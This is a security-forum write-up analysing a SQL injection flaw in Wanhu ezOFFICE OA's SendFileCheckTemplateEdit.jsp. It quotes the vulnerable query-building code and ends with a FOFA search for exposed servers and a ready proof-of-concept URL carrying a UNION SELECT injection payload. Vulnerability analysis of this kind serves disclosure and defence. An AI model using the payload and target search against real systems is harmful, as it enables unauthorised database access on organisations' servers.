问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
万户OA SendFileCheckTemplateEdit-SQL注入
漏洞分析
万户OA SendFileCheckTemplateEdit-SQL注入
漏洞简介 ---- 万户软件网络是业内普遍认可的智慧政务办公专家,OA系统国家行业标准编制组长单位,协同软件国家行业标准编制组长单位,22年专注协同管理领域.为您提供定制化的智慧政务一体化办公解决方案。万户OA DocumentEdit.jsp存在前台SQL注入漏洞,攻击者利用此漏洞获取数据库权限,深入利用可获取服务器权限。 漏洞分析 ---- 首先进入`public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp` ![image-20240914162342940](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-cc160bd75c954cb4ca881181a8fdfbd0804913b1.png) ```php //从前端请求中依次获取RecordID、TempName、FileType参数内容并设置mEditType、mUserName、useName、useId变量 String mRecordID\=request.getParameter("RecordID"); String mTempName\=request.getParameter("TempName"); String mFileType\=request.getParameter("FileType"); String mEditType\="1"; String mUserName\="Administrator"; //whir add for templete range String useName\=""; String useId\=""; //取得模式 if ( mEditType\==null) { mEditType\="2"; // 2 起草 } //取得类型 if ( mFileType\==null) { mFileType\=".doc"; // 默认为.doc文档 } //取得用户名 if (mUserName\==null) { mUserName\="金格科技"; } //取得模板 if ( mRecordID\==null) { mRecordID\=""; // 默认没有模板 } //创建一个iDBManager2000,用于相关数据库的操作 DBstep.iDBManager2000 DbaObj\=new DBstep.iDBManager2000(); if (DbaObj.OpenConnection()) {//尝试数据库的连接,若连接成功构造sql语句 String mSql\="Select RecordID,FileName,FileType,Descript,useUserId,useName From Template\_File Where RecordID='"+ mRecordID + "'"; try { result\=DbaObj.ExecuteQuery(mSql);//执行sql语句 if (result.next()) {//将执行sql语句的结果依次遍历,将从数据库中得到的结果赋值给不同的变量 mRecordID\=result.getString("RecordID"); mFileName\=result.getString("FileName"); mFileType\=result.getString("FileType"); mDescript\=result.getString("Descript"); useId\=result.getString("useUserId"); useName\=result.getString("useName"); } ``` **分析**:我们发现在构造sql语句时,是直接将前端获取到的`mRecordID`,拼接到其中,紧接着就是调用`ExecuteQuery`方法来执行sql语句 接下来进入到`ExecuteQuery`方法中 ![image-20240914163159461](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-3b86e56c64a3367741ff1d245dac7b9dac0e62bd.png) 分析:在该方法首先是创建了一个`result`变量用于接收sql语句执行的结果,之后就是调用`executeQuery`方法,该方法是JDBC API的`java.sql.Statement`接口的方法,用于执行SQL语句,最后进行异常处理,将执行结果返回 **总结** 在整个sql语句构造到执行的过程中没有对sql语句进行任何的过滤与限制,进而造成攻击者可以通过构造恶意的sql执行语句获取数据的敏感信息 资产测绘 ---- **fofa** app="万户网络-ezOFFICE" ![image-20240909211217073](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-3901020ebbf883f18dd151910a2417fcbb8a5d47.png) 漏洞复现 ---- **poc** `/defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1%27%20UNION%20ALL%20SELECT%20sys.fn\_sqlvarbasetostr(HashBytes(%27MD5%27,%27admin%27)),NULL,NULL,NULL,NULL,NULL--` ![图片.png](https://shs3.b.qianxin.com/attack_forum/2024/09/attach-6561d9dc9caff5269bb9354eafd8a999255cc76d.png)
发表于 2024-09-20 18:05:09
阅读 ( 1933 )
分类:
OA产品
2 推荐
收藏
0 条评论
请先
登录
后评论
xhys
11 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!